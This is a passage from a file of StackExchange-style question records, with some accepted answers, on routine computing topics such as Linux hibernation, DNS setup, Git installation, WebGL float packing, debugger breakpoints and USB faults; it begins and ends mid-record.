rndis_host,cdc_etherarc4                    1345  2 sdhci_pci              10056  0 sdhci                  20883  1 sdhci_pcifirewire_ohci          27077  0 mmc_core               82856  3 mmc_block,sdhci_pci,sdhcifirewire_core          49742  1 firewire_ohcicrc_itu_t               1635  1 firewire_coreiwlwifi               233406  0 snd_hda_codec_conexant    43770  1 mac80211              338064  1 iwlwificfg80211              156724  2 iwlwifi,mac80211snd_hda_intel          22760  4 snd_hda_codec          88731  2 snd_hda_codec_conexant,snd_hda_intelsnd_pcm                73911  3 snd_hda_intel,snd_hda_codecsnd_timer              18324  2 snd_pcmsnd_page_alloc          7332  2 snd_hda_intel,snd_pcmloop                   15063  0 vboxnetflt             12915  0 vboxdrv              1759366  1 vboxnetfltfuse                   60817  1 thinkpad_acpi          64233  0 snd                    59641  12 snd_hda_codec_conexant,snd_hda_intel,snd_hda_codec,snd_pcm,snd_timer,thinkpad_acpi             total       used       free     shared    buffers     cachedMem:       8062552    6417912    1644640          0     427824    4174720-/+ buffers/cache:    1815368    6247184Swap:     12582908          0   12582908/usr/lib64/pm-utils/sleep.d/00logging hibernate hibernate: success.Running hook /usr/lib64/pm-utils/sleep.d/00powersave hibernate hibernate:Blacklisting 01grub./usr/lib64/pm-utils/sleep.d/00powersave hibernate hibernate: success.Running hook /usr/lib64/pm-utils/sleep.d/01grub hibernate hibernate:/usr/lib64/pm-utils/sleep.d/01grub hibernate hibernate: success.Running hook /usr/lib64/pm-utils/sleep.d/49bluetooth hibernate hibernate:/usr/lib64/pm-utils/sleep.d/49bluetooth hibernate hibernate: success.Running hook /usr/lib64/pm-utils/sleep.d/75modules hibernate hibernate:/usr/lib64/pm-utils/sleep.d/75modules hibernate hibernate: success.Running hook /usr/lib64/pm-utils/sleep.d/90clock hibernate hibernate:/usr/lib64/pm-utils/sleep.d/90clock hibernate hibernate: success.Running hook /usr/lib64/pm-utils/sleep.d/94cpufreq hibernate hibernate:/usr/lib64/pm-utils/sleep.d/94cpufreq hibernate hibernate: success.Running hook /usr/lib64/pm-utils/sleep.d/95led hibernate hibernate:/usr/lib64/pm-utils/sleep.d/95led hibernate hibernate: success.Running hook /usr/lib64/pm-utils/sleep.d/98video-quirk-db-handler hibernate hibernate:Kernel modesetting video driver detected, not using quirks./usr/lib64/pm-utils/sleep.d/98video-quirk-db-handler hibernate hibernate: success.Running hook /usr/lib64/pm-utils/sleep.d/99video hibernate hibernate:/usr/lib64/pm-utils/sleep.d/99video hibernate hibernate: success.Sun Oct 21 15:26:08 CEST 2012: performing hibernateIn the /var/log/syslog I found  the following line:Oct 21 15:27:10 lenovo kernel: PM: Hibernation image not present or could not be loaded.Here's my grub config:title Gentoo Linuxroot (hd0,0)kernel /3.4.9-gentoo root=/dev/sda3 rootfstype=ext4 resume=swap:/dev/sda2 i915.modeset=1 fan_control=1/dev/sda2 is my swap partition.What could be wrong?"  , "title": "Thinkpad T400: Suspend to HD doesn't resume"  , "tags": "power management;suspend;thinkpad"  , "accepted_answer": "I fixed this issue by changing my grub config. The swap: in the resume parameter is not needed. My config now looks like this:title Gentoo Linuxroot (hd0,0)kernel /3.4.9-gentoo root=/dev/sda3 rootfstype=ext4 resume=/dev/sda2 i915.modeset=1 fan_control=1"  } 
{  "id": "_unix.282128"  , "question": "I am currently using Exceed to handle individual X windows being displayed back to my Windows machine and this works flawlessly.  I'm using Windows as my Window manager, but I have also experimented with various X Windows Managers (i.e., fluxbox, twm, mwm, gnome-wm) to no avail.The issue I'm having is the graphics being displayed back on individual applications is poor compared to what I am seeing when forwarding a full gnome-Desktop/gnome-session over the same Exceed connection.  In fact, if I run an instance of gnome-session over X11 I am able to launch applications with their standard a high quality look as directly connected to the machine.  However, if I just use a window manager and display back single applications (not a full desktop/session) the quality reverts to a poorer more basic design.Is there anyway to launch gnome-session against a single application vice having to create a whole desktop instance?  Or a way to use its graphics engine to render the application as it would be in a normal session/desktop environment?  I thought the gnome-wm would do the trick, but no luck.  "  , "title": "Best Graphics over X11 Forwarding"  , "tags": "centos;x11;gnome;graphics;forwarding"  } 
{  "id": "_hardwarecs.2634"  , "question": "I am owning i5 plus. I want something more fancy.I am considering samsung gear and microsoft band.Microsoft band's battery only last 2 days.Samsung gear only works at samsung phone. Iphone watch only works at iPhone.My i5 plus is very great. However, it looks so dull. It doesn't impress my business partners.I want something like i5 plus but with fancy color. Not sure if I want always on display. Battery life is kind of cool feature for me.I also like the fact that i5 doesn't have unusual charger and can be charged in any USB port.i5 is great. I just want something more fancy.I am considering microsoft band 2. However, it has a feature I don't need, namely, gps.I definitely like heart rate monitor."  , "title": "Recommend me a good high end smart band"  , "tags": "smart device"  , "accepted_answer": "Have you considered the Motorola Moto 360?It's got a coloured screen and looks pretty stylish in my opinion. Though according to reviews.. You need nightly charging, however considering you charge your phone everyday anyway, I don't see why that would be that much of a problem."  } 
{  "id": "_softwareengineering.262545"  , "question": "In Big O notation, allocate an array of N element is defined by O(1) or O(n) ?For example in C#, if I allocate an array like this :int[] a = new int[10]When I display this array, I have :{0,0,0,0,0,0,0,0,0,0}"  , "title": "Big O notation allocate array of N element"  , "tags": "array;big o;allocation"  , "accepted_answer": "Normally, size of an array has no effect on complexity of allocation itself. AFAIK, an array is internally a pointer to some address where the array begins and hidden fields for element size and element count. So it would be O(1).At least this is the case in Object Pascal, though I am not sure for C# or other languages.But finding the chunk of memory which fits for your array has some higher complexity which depends on the size at some point but is more dependent to how the active memory manager works: Time complexity of memory allocation."  } 
{  "id": "_unix.57601"  , "question": "I'm using a program called node-webkit, but I can't start the program without specifying the full path to the executable file. Is there any way to associate a command (such as node-webkit) with an executable file on Linux, so that the full path to the file won't need to be specified?"  , "title": "Create a command for a Linux executable file"  , "tags": "path;executable"  , "accepted_answer": "A third option, perhaps least intrusive, is to add an alias in your .bashrc file. This file is a set of options for bash which it reads every time an instance of bash is started.Open your .bashrc file with your file editor, for e.g gedit ~/.bashrc Add the below line to the bottom of your .bashrc filealias node-webkit=/path/to/node-webkitDo source ~/.bashrc to be able to use the alias as if it were a command. The way this works is like #define in C/C++, when you type node-webkit, it will be replaced with the right hand side of the alias definition, which here is the full path to the executable."  } 
{  "id": "_opensource.4498"  , "question": "I have a closed-source project. I am the copyright holder.Can I incorporate parts from my closed-source project into an open-source project without running into legal issues commercially using my closed-source project?Please note that the part incorporated into the open-source project would be a derivative of a small part of the closed-source project."  , "title": "Incorporating closed-source derivative into GPL code"  , "tags": "gpl 3;closed source"  } 
{  "id": "_webmaster.77939"  , "question": "I'm trying to use a domain name I have on Namecheap with Heroku. Heroku's documentation advised a CNAME Alias. In the past, I've gotten other domains on the same service (Namecheap) to work with Heroku, but I can't get this domain to work. I followed Heroku's instructions and imitated the way the other domains are set up.Using Namecheap's web tool, I changed All Host Records. In that section, I have:@ http://www.example.com URL Redirectwww example.herokuapp.com CNAME (Alias)set up at the top of the page. In Heroku's app settings, I can see that www.example.com is a domain of example.herokuapp.com, which I configured with the command line.When I go to www.example.com, however, I get The server at page www.www.example.com/?from=@ is not responding.Any ideas how to fix it? I already tried manually changing the DNS to Google's servers, as well as using just about every variation of my domain. The additional www and /?from=@ seems to be a clue, but I'm not sure what's causing it.To be clear, my objective is running my Heroku app through www.example.com"  , "title": "Heroku CNAME redirect leads to www.www"  , "tags": "redirects;url;heroku"  , "accepted_answer": "For anyone who has this issue come up, changing the DNS to v1 using Namecheap's online interface and then setting the @ row to blank fixed the issue."  } 
{  "id": "_unix.157254"  , "question": "Macbookpro Mountion Lion 10.8.5I am not new to technology or programming but relatively new to Web Development.My Unix is rusty.Issue.  I cannot get GIT to execute commands. I have been researching and trouble shooting for 2 days.Some suggestions I have tried are listed at the end.Below will just be the commands and console output which may clearly identify the issue to people familiar with this issue.I am following a course online.I installed GIT from git-scm.com$  which git/usr/local/git/bin/git$ echo $PATH/usr/local/git/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/local/git/$ git --versiongit version 2.0.1$ git init new_repositorydyld: lazy symbol binding failed: Symbol not found: ___strlcpy_chkReferenced from: /usr/local/git/bin/gitExpected in: /usr/lib/libSystem.B.dylibTrace/BPT trap: 5$ Suggestions and Points I took from researching.A suggestion is that the version of GIT is a mismatch to my MacI am trying to uninstall this way.In the GIT.pkg there is an uninstall.sh file$ sudo sh uninstall.shdyld: DYLD_ environment variables being ignored because main executable (/usr/bin/sudo) is setuid or setgidPassword:sh: uninstall.sh: No such file or directoryLooks like the uninstall.sh was not copied when I installed GITI tried these commandsrm -rf /usr/local/git etc/paths.d/git rm /etc/manpaths.d/gitpermission deniedA suggestion to add/modify the path in my .bash_profile with these different options and this did not change anything:PATH=$PATH:/usr/local/binexport PATHorLD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/libexport LD_LIBRARY_PATHorexport PATH=/usr/local/git/bin:$PATHHow can I uninstall GIT ?"  , "title": "GIT on 'mountain lion' will not execute commands"  , "tags": "path;git;macintosh"  } 
{  "id": "_reverseengineering.12518"  , "question": "I am debugging a 32-bit program on a 64-bit MS Windows 7 using IDA Pro 6.8 as seen in the image below:The instruction highlighted in the trace window (upper-left part of screen-shot) is supposed to MOV a word from some memory address in the .text segment (at the address given by the EDX register), into the EBX register.EDX = 0x013D4021 and the bytes stored at this address are 50 53 51 52, shown in the HexView of IDA in the lower half of the screen-shot above. Therefore, after executing the highlighted instruction mov ebx, [edx] I was expecting that EBX = 0x52515350. However, as you can see in the Result column of the trace window this is not true because EBX = 0x525153CC. Can anyone explain why the least significant byte in EBX is equal to CC instead of 50? Is it a bug in IDA or is it caused by the OS?NOTE: I tried the same program with IDA Pro 6.9 and encountered the same behavior.UPDATE: If you also have this issue and still want to debug the program, use hardware breakpoints. Hardware breakpoints do not modify the code like in the example above. IDA Pro allows enabling hardware breakpoints: hex-rays.com/products/ida/support/idadoc/1407.shtml"  , "title": "Unexpected memory value MOVed from text segment to register in Windows x86 32-bit program"  , "tags": "ida;windows;debugging;x86;memory"  , "accepted_answer": "CC is a single-byte encoding of int 3, which is the standard way of breaking to the debugger. In particular, debuggers often use it for break points and for single-stepping: they simply replace the first instruction byte with CC and wait for the interrupt. Then they write back the original instruction byte.The hexdump of the memory area around [edx] definitely looks like code, and the bytes loaded into ebx look like push opcodes. So it seems reasonable to suppose that either IDA is playing around with int 3 or someone else does... If your target program is aliasing memory then this could explain the whole confusion."  } 
{  "id": "_webapps.60445"  , "question": "I have a Google Spreadsheet with a list of emails. I want to build a routine that send email automatically to those email addresses. I also want to attach a PDF to this email. The PDF file is located in my Google Drive.When running the following script, I'm getting the following error:TypeError: Cannot find function getAs in object FileIterator. (line  21, file Code)I'm new to Google Spreadsheets, please can you help me out?This is the code:// This constant is written in column C for rows for which an email// has been sent successfully.var EMAIL_SENT = EMAIL_SENT;function sendEmails2() {  var sheet = SpreadsheetApp.getActiveSheet();  var startRow = 2;  // First row of data to process  var numRows = 1;   // Number of rows to process  // Fetch the range of cells A2:B3  var dataRange = sheet.getRange(startRow, 1, numRows, 2)  // Fetch values for each row in the Range.  var data = dataRange.getValues();  for (var i = 0; i < data.length; ++i) {    var row = data[i];    var emailAddress = row[0];  // First column    var message = row[1];       // Second column    var emailSent = row[2];     // Third column    if (emailSent != EMAIL_SENT) {  // Prevents sending duplicates      var subject = Sending emails from a Spreadsheet;      var file = DriveApp.getFilesByName('test123.pdf')      MailApp.sendEmail(emailAddress, subject, message, {     attachments: [file.getAs(MimeType.PDF)],     name: 'Automatic Emailer Script' });      sheet.getRange(startRow + i, 3).setValue(EMAIL_SENT);      // Make sure the cell is updated right away in case the script is interrupted      SpreadsheetApp.flush();    }  }}"  , "title": "Send an email with attachment using Google Apps Script"  , "tags": "google spreadsheets;google drive;google apps script"  } 
{  "id": "_unix.5453"  , "question": "Using bash, what is the easiest way to 'replace' a given part of the current path with something else?  If my current path is of the form /xxxxx/foo/yyyyy, how can I jump to the /xxxxx/bar/baz/yyyyy directory with the shortest command?"  , "title": "Quickest way to change dir from /xxxxx/foo/yyyyyy to /xxxxx/bar/yyyyyy"  , "tags": "bash"  , "accepted_answer": "You can leverage a shell function to provide you this ability as needed:change() { path=`pwd`; cd `echo $path | sed s/$1/$2/`; }Which would be called from /foo/bar/ as:change bar gaziPlease note that the 's are not required for this example, but would be required for special strings such as directories with space character(s) in the name."  } 
{  "id": "_softwareengineering.337137"  , "question": "I know it is best practice to split of your global requirements. Which is something I do when documenting in Confluence.However, when coming to grooming with the development team, I don't really know how to best incorporate these in to our User Stories in Jira. The obvious approach would I guess be to add them as acceptance criteria on each user story. But that defeats the purpose of making them global in the first place.E.g: for a checkout projectGlobal: all markup must use the styles provided in the style guideReq: Reset password - As a customer who has forgotten his password, I want to be able to reset my password, so that I can proceed to purchaseObviously, when connecting the functionality to the provided design (html/css), the developers need to ensure it remains fully responsive (details in html/css). But I would prefer not to spell it out in each user story. How do I deal with this?"  , "title": "How do you include global requirements?"  , "tags": "agile;scrum;user story;jira"  } 
{  "id": "_computergraphics.4151"  , "question": "I have a WebGL circuit simulator. One of the problems it has is that, due to using quite a lot of intermediate float textures as it simulates, it doesn't work on various mobile devices. They only support byte textures.My intended solution to this problem is to encode the high-precision (i.e. 32-bit) floats as bytes. Every output float is packed into a nearly-IEEE format (I put the sign bit at the other end to avoid a few shifts, I don't do denormalized values, and I don't do infinities/NaNs). Similarly, every input is unpacked before being used.I have found various blog posts and answers related to this task out on the internet (example 1, example 2, example 3), but I haven't found any that work properly on all finite non-denormalized floats.The problem I'm running into is precision. I want to round trip the floats without introducing any error, but I can't seem to make a shader that preserves all 23 bits of the mantissa. There always seems to be some rounding on some machine that loses the last bit, though I can perturb the cases where the rounding happens and it happens differently on the various machines I've tested on.Here is my packing method:vec4 packFloatIntoBytes(float val) {    if (val == 0.0) {        return vec4(0.0, 0.0, 0.0, 0.0);    }    float mag = abs(val);    float exponent = floor(log2(mag));    // Correct log2 approximation errors.    exponent += float(exp2(exponent) <= mag / 2.0);    exponent -= float(exp2(exponent) > mag);    float mantissa;    if (exponent > 100.0) {        // Not sure why this needs to be done in two steps for the largest float to work.        // Best guess is the optimizer rewriting '/ exp2(e)' into '* exp2(-e)',        // but exp2(-128.0) is too small to represent.        mantissa = mag / 1024.0 / exp2(exponent - 10.0) - 1.0;    } else {        mantissa = mag / float(exp2(exponent)) - 1.0;    }    float a = exponent + 127.0;    mantissa *= 256.0;    float b = floor(mantissa);    mantissa -= b;    mantissa *= 256.0;    float c = floor(mantissa);    mantissa -= c;    mantissa *= 128.0;    float d = floor(mantissa) * 2.0 + float(val < 0.0);    return vec4(a, b, c, d) / 255.0;}And here's my unpacking method:float unpackBytesIntoFloat(vec4 v) {    float a = floor(v.r * 255.0 + 0.5);    float b = floor(v.g * 255.0 + 0.5);    float c = floor(v.b * 255.0 + 0.5);    float d = floor(v.a * 255.0 + 0.5);    float exponent = a - 127.0;    float sign = 1.0 - mod(d, 2.0)*2.0;    float mantissa = float(a > 0.0)                   + b / 256.0                   + c / 65536.0                   + floor(d / 2.0) / 8388608.0;    return sign * mantissa * exp2(exponent);}This method is close. It works on my laptop, as far as I can tell. But it doesn't work on my Nexus tablet. For example, the float -0.20717763900756836 should be encoded as [124, 168, 76, 193]. When I unpack that then repack it on the Nexus tablet the output is one ulp lower: [124, 168, 76, 191] (which encodes -0.2071776[5390872955]). Close, but I want perfect.Mostly I'm at a loss trying to figure out where the precision is being destroyed in this method. Changes almost seem to have random effects, like replacing x * exp2(n) with x / exp2(-n) might fix an error in one place but introduce an error in another place.Is there any exact way to pack floats into bytes, without losing precision?Some example values that such a method should work on:var testValues = new Float32Array([    0,    0.5,    1,    2,    -1,    1.1,    42,    16777215,    16777216,    16777218,    0.9999999403953552, // An ulp below 1.    1.0000001192092896, // An ulp above 1.    Math.pow(2.0, -126), // Smallest non-denormalized 32-bit float.    0.9999999403953552 * Math.pow(2.0, 128), // Largest finite 32-bit float.    Math.PI,    Math.E]);"  , "title": "WebGL packing/unpacking functions that can roundtrip all typical 32-bit floats"  , "tags": "webgl"  } 
{  "id": "_softwareengineering.233733"  , "question": "I recently started at a new job. The existing system works OK but is poorly designed and hard to maintain, and they are planning to rebuild it in MVC and I fear it will be much worse. (Not because of MVC)I want to discourage the lead dev from using an anti-patternExisting issues includeHard coded strings in the business logic which are also tied to the interface (e.g. if (x.CustomerType.Contains(Shipping Customer) foobar(); is everywhereSome classes map to dbTables directly (which is good). But because the softwarehas to be easy to add features to , there is a Sharepoint-esque DynamicData table for storing new fields that the customer may require. a la [FieldName] [FieldValue] [FieldType]Refusal to use Linq but chains lamda queries for about 2 page widths.Exceptions not explicitly thrown or rethrown, but not handled properly (the client can see the call stack because it is just dumped into a popup dialog)Refusal to use var but loves the idea of dynamic everything. What is the best way to go about convincing my lead dev to avoid these horrible methods and not put everything in the generic key-value-pair table in version 2.0? (Considering I am new here and the team lead has been here for many years)"  , "title": "How can I explain this is an anti-pattern?"  , "tags": "c#;maintenance;patterns and practices;anti patterns;technical debt"  , "accepted_answer": "What you are really talking about are not really anti-patterns, but smells. Your question covers multiple completely separate issues and if you google enough, you should find out enough material to argument against your boss. There is also problem of persuading your boss that those are actual problems and need to be addressed. Now, for your problems:Having xxxType in a class is clear code smell and implies that there should be some kind of object hierarchy. Refactoring is highly encouraged to create good OOP design. If the class can have multiple types, then Strategy Pattern is good fit.This is commonly called Entity-attribute-value model and it has it's merits and problems. It is up to you and your boss to figure out if it fits your application.Note that lambda chains are too part of LINQ. And while using LINQ query syntax might create more readable code, some prefer not to use it.There is tons of discussion on how exception handling should be done. Google is your friend.var and dynamic are two completely different things. And when one uses dynamic, the person should be aware of the downsides it brings. Again, Google should help."  } 
{  "id": "_codereview.71550"  , "question": "The below code takes an incoming sequence of objects, checks each object's type and then yields the object in a specific order.  This is all taking place in an active pattern.  As I am still new to F#, I would like to know if there is a better or more efficient way of accomplishing this task.    type ArticleObj =     | Submission    | Photos    | ReviewRating    | BusinessReviewRating    | ArticleTaglet (|OrderArticleObj|_|) (objSeq : seq<obj>) =    // Create DU array    let articleParts = [|                         Submission; Photos; ReviewRating;                         BusinessReviewRating; ArticleTag                     |]    // create ordered array of objects    let orderedSeq = seq{                for row in articleParts do                    for row2 in objSeq do                        match row with                        | Submission ->                                         let isValid =                                            match row2 with                                            | :? ArticleSubmission as Sub -> true                                            | _ -> false                                        if isValid                                        then                                            yield row2                        | Photos ->                                    let isValid =                                            match row2 with                                            | :? seq<Photos> as Photo -> true                                            | _ -> false                                    if isValid                                    then                                        yield row2                        | ReviewRating ->                                            let isValid =                                                match row2 with                                                | :? ArticleReviewRating as RevRating -> true                                                | _ -> false                                            if isValid                                            then                                                yield row2                        | BusinessReviewRating ->                                                    let isValid =                                                        match row2 with                                                        | :? BusinessReviewRating as BizRev -> true                                                        | _ -> false                                                    if isValid                                                    then                                                        yield row2                        | ArticleTag ->                                        let isValid =                                            match row2 with                                            | :? seq<ArticleTags> as ArtTag -> true                                            | _ -> false                                        if isValid                                        then                                            yield row2            }    if not (Seq.isEmpty orderedSeq)    then Some(orderedSeq) else None"  , "title": "Ordering a sequence of objects"  , "tags": "f#"  , "accepted_answer": "You could define a sorted list of the types and use that to sort the input. Here's what a function that does that would look like.let sortArticles : seq<obj> -> seq<obj> =    let sorted =        [            typeof<ArticleSubmission>            typeof<seq<Photos>>            typeof<ArticleReviewRating>            typeof<BusinessReviewRating>            typeof<seq<ArticleTags>>        ]    Seq.sortBy (fun o -> sorted |> List.findIndex ((=) (o.GetType())))"  } 
{  "id": "_webmaster.8447"  , "question": "First off,My group and I don't have any experience with databases or anything of that sort, only programming (not web-programming), so this post is just me wondering what things I should start researching and possibly some referral to a hosting company.The abstract idea is to have a list of things, each categorized, and each item with user-submitted reviews (made by users who are signed up with the website). Would absolutely everything be stored on a SQL database? (the long text reviews for example)Does anyone have any suggestions on some 'web frameworks' we could use to jumpstart us?What should our absolute first step be? (I was thinking about first designing the basic database? so we have something to work around...?)Should we worry about which host we choose right now, any recommendations? (would it be a trivial task to switch hosts in the future?)Thanks again, any help is appreciated!"  , "title": "Looking to create a website ... need assistance on what technologies to use!"  , "tags": "web development"  } 
{  "id": "_cs.12090"  , "question": "So, I have a book here, which has an example for context sensitive grammar, and the grammar is the famous $0^n1^n2^n$ , and it has:$$ \\begin{align}S  &\\rightarrow 0BS2 \\mid 012 \\\\B0 &\\rightarrow 0B \\\\B1 &\\rightarrow 11 \\\\\\end{align} $$I agree that the above works, but what is wrong with just saying:$S\\rightarrow 0S12 |\\epsilon$The above also generators the same number of $0$s as $1$s and $2$s."  , "title": "Can this grammar be simplified?"  , "tags": "formal languages;formal grammars;context sensitive"  } 
{  "id": "_cogsci.6479"  , "question": "I'm creating a game, and I would like to know what research I can consult to make it more addicting.The game is a casual one, like Candy Crush, Angry Birds, etc"  , "title": "What does current research tell us about addictive behaviors in games?"  , "tags": "motivation;addiction"  } 
{  "id": "_webmaster.71193"  , "question": "The main problem is I have no previous design samples like JPG or PSD files by which the site can be sliced again. So, I need the previous look and feel of the site before hacking. Otherwise, as I have no backup, if I know how to recover background image files for this hacked website, then it will be also fine.I have killed whole my day to search for a solution whether there is a way to recover my theme files, specially the background image files which were used by the CSS files. I've tried online cache solutions so far but with no luck.For example, the following link is showing only my CSS file but I can not recover my image files. http://web.archive.org/web/20141019170905/http://www.drinkfreshlysqueezed.com/wp-content/themes/manifest_v1.1/style.cssI have also used: http://www.viewcached.com/ but it is same.If I use Google cache link: http://webcache.googleusercontent.com/search?q=cache:http://www.drinkfreshlysqueezed.com then it shows me the hacked site for now (though this is not a problem as it will stay few more days until I fix and update my site!).The solutions described into the following links are not working for me :(How to recover a website from google cache?https://webapps.stackexchange.com/questions/15633/how-to-modify-a-url-to-get-a-google-cached-version-of-pagehttps://webapps.stackexchange.com/questions/27414/how-to-use-googles-web-cache-to-view-a-page"  , "title": "How to see previous look and feel from cached versions of a hacked website?"  , "tags": "google search console;background image;google cache;domain hacks;disaster recovery"  } 
{  "id": "_datascience.9612"  , "question": "I have a dataset containing data on temperature, precipitation and soybean yields for a farm for 10 years (2005 - 2014). I would like to predict yields for 2015 based on this data.Please note that the dataset has DAILY values for temperature and precipitation, but only 1 value per year for the yield, since harvesting of crop happens at end of growing season of crop.I want to build a regression or some other machine learning based model to predict 2015 yields, based on a regression/some other model derived by studying the relation between yields and temperature and precipitation in previous years.As per, Building a machine learning model to predict crop yields based on environmental data, I am using sklearn.cross_validation.LabelKFold to assign each year the same label.The question is that since I have a single target value per year, do I need to interpolate to fill in target values for all the other days of the year? Should I just use the same target value for each day of the year?"  , "title": "Assigning values to missing target vector values in scikit-learn"  , "tags": "python;scikit learn;pandas"  , "accepted_answer": "The model likely won't have much predictive power if the input is a single day. No weather patterns longer than one day can be captured that way.Instead you should aggregate the days together. You can come up with different features that describe your larger, aggregated unit of time (months, year). For example mean precipitation is a very simple one. Binning the data and using counts within those bins would also work.More advanced options would roll the time all the way up to a full year and learn a feature set at that level."  } 
{  "id": "_unix.179945"  , "question": "I have little problem with my two ports USB 2.0. They don't work properly. If something (like mouse or keyboard) is connected on boot it's working but when I re-plug this device he often don't want to work. On Windows all works fine.Laptop: MSI GE60-2PE 640XPLSystem: Linux Mint 17.1Outputs:lsusbBus 002 Device 008: ID 1770:ff00  Bus 002 Device 002: ID 8087:8000 Intel Corp. Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hubBus 001 Device 005: ID 8087:07dc Intel Corp. Bus 001 Device 039: ID 046d:c52b Logitech, Inc. Unifying ReceiverBus 001 Device 002: ID 8087:8008 Intel Corp. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hubBus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hubBus 003 Device 007: ID 1532:0021 Razer USA, Ltd Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hublspci00:00.0 Host bridge: Intel Corporation Xeon E3-1200 v3/4th Gen Core Processor DRAM Controller (rev 06)00:01.0 PCI bridge: Intel Corporation Xeon E3-1200 v3/4th Gen Core Processor PCI Express x16 Controller (rev 06)00:02.0 VGA compatible controller: Intel Corporation 4th Gen Core Processor Integrated Graphics Controller (rev 06)00:03.0 Audio device: Intel Corporation Xeon E3-1200 v3/4th Gen Core Processor HD Audio Controller (rev 06)00:14.0 USB controller: Intel Corporation 8 Series/C220 Series Chipset Family USB xHCI (rev 05)00:16.0 Communication controller: Intel Corporation 8 Series/C220 Series Chipset Family MEI Controller #1 (rev 04)00:1a.0 USB controller: Intel Corporation 8 Series/C220 Series Chipset Family USB EHCI #2 (rev 05)00:1b.0 Audio device: Intel Corporation 8 Series/C220 Series Chipset High Definition Audio Controller (rev 05)00:1c.0 PCI bridge: Intel Corporation 8 Series/C220 Series Chipset Family PCI Express Root Port #1 (rev d5)00:1c.3 PCI bridge: Intel Corporation 8 Series/C220 Series Chipset Family PCI Express Root Port #4 (rev d5)00:1c.4 PCI bridge: Intel Corporation 8 Series/C220 Series Chipset Family PCI Express Root Port #5 (rev d5)00:1c.5 PCI bridge: Intel Corporation 8 Series/C220 Series Chipset Family PCI Express Root Port #6 (rev d5)00:1d.0 USB controller: Intel Corporation 8 Series/C220 Series Chipset Family USB EHCI #1 (rev 05)00:1f.0 ISA bridge: Intel Corporation HM87 Express LPC Controller (rev 05)00:1f.2 SATA controller: Intel Corporation 8 Series/C220 Series Chipset Family 6-port SATA Controller 1 [AHCI mode] (rev 05)00:1f.3 SMBus: Intel Corporation 8 Series/C220 Series Chipset Family SMBus Controller (rev 05)01:00.0 3D controller: NVIDIA Corporation GM107M [GeForce GTX 860M] (rev a2)03:00.0 Ethernet controller: Qualcomm Atheros Killer E2200 Gigabit Ethernet Controller (rev 13)04:00.0 Unassigned class [ff00]: Realtek Semiconductor Co., Ltd. Device 5249 (rev 01)05:00.0 Network controller: Intel Corporation Wireless 3160 (rev 83)dmesg | grep USB [16334.667461] usb 1-1.2: USB disconnect, device number 15[16338.454165] usb 1-1.2: new full-speed USB device number 16 using ehci-pci[16338.862356] usb 1-1.2: new full-speed USB device number 17 using ehci-pci[16339.282564] usb 1-1.2: new full-speed USB device number 18 using ehci-pci[16339.616843] usb 1-1.2: New USB device found, idVendor=1532, idProduct=001f[16339.616846] usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=0[16354.657326] usb 1-1.2: USB disconnect, device number 18[16358.537997] usb 3-2: new full-speed USB device number 5 using xhci_hcd[16358.555730] usb 3-2: New USB device found, idVendor=1532, idProduct=001f[16358.555738] usb 3-2: New USB device strings: Mfr=1, Product=2, SerialNumber=0[16368.024510] usb 3-2: USB disconnect, device number 5[16370.525259] usb 3-1: new full-speed USB device number 6 using xhci_hcd[16370.543091] usb 3-1: New USB device found, idVendor=1532, idProduct=001f[16370.543095] usb 3-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0[16370.544550] hid-generic 0003:1532:001F.0019: input,hidraw3: USB HID v1.11 Mouse [Razer Razer Naga Epic] on usb-0000:00:14.0-1/input0[16370.545223] hid-generic 0003:1532:001F.001A: input,hidraw4: USB HID v1.11 Keyboard [Razer Razer Naga Epic] on usb-0000:00:14.0-1/input1[16519.936479] usb 3-1: USB disconnect, device number 6[16524.257417] usb 1-1.2: new full-speed USB device number 19 using ehci-pci[16524.609576] usb 1-1.2: new full-speed USB device number 20 using ehci-pci[16524.909786] usb 1-1.2: new full-speed USB device number 21 using ehci-pci[16525.390047] usb 1-1.2: new full-speed USB device number 22 using ehci-pci[16525.578107] hub 1-1:1.0: unable to enumerate USB device on port 2[16531.946007] usb 1-1.2: new full-speed USB device number 23 using ehci-pci[16532.454324] usb 1-1.2: new full-speed USB device number 24 using ehci-pci[16532.802429] usb 1-1.2: new full-speed USB device number 25 using ehci-pci[16533.069479] usb 1-1.2: New USB device found, idVendor=1532, idProduct=001f[16533.069482] usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=0[16549.944299] usb 1-1.2: USB disconnect, device number 25[16553.218730] usb 1-1.2: new full-speed USB device number 26 using ehci-pci[16553.616086] usb 1-1.2: New USB device found, idVendor=1532, idProduct=0021[16553.616096] usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=0[16553.698891] hid-generic 0003:1532:0021.001B: input,hidraw3: USB HID v1.11 Mouse [Razer] on usb-0000:00:1a.0-1.2/input0[16560.195433] usb 1-1.2: USB disconnect, device number 26[16569.256274] usb 3-1: new full-speed USB device number 7 using xhci_hcd[16569.274506] usb 3-1: New USB device found, idVendor=1532, idProduct=0021[16569.274515] usb 3-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0[16569.277265] hid-generic 0003:1532:0021.001C: input,hidraw3: USB HID v1.11 Mouse [Razer Razer Naga Epic Dock] on usb-0000:00:14.0-1/input0[16569.279406] hid-generic 0003:1532:0021.001D: input,hidraw4: USB HID v1.11 Keyboard [Razer Razer Naga Epic Dock] on usb-0000:00:14.0-1/input1[16825.447012] usb 1-1.1: USB disconnect, device number 3[16834.361139] usb 1-1.1: new full-speed USB device number 27 using ehci-pci[16834.649436] usb 1-1.1: new full-speed USB device number 28 using ehci-pci[16834.933712] usb 1-1.1: new full-speed USB device number 29 using ehci-pci[16835.150017] usb 1-1.1: new full-speed USB device number 30 using ehci-pci[16835.305958] hub 1-1:1.0: unable to enumerate USB device on port 1[16846.918988] usb 1-1.2: new full-speed USB device number 31 using ehci-pci[16847.211267] usb 1-1.2: new full-speed USB device number 32 using ehci-pci[16847.491384] usb 1-1.2: new full-speed USB device number 33 using ehci-pci[16847.711794] usb 1-1.2: new full-speed USB device number 34 using ehci-pci[16847.859780] hub 1-1:1.0: unable to enumerate USB device on port 2[16858.495475] usb 3-2: new full-speed USB device number 8 using 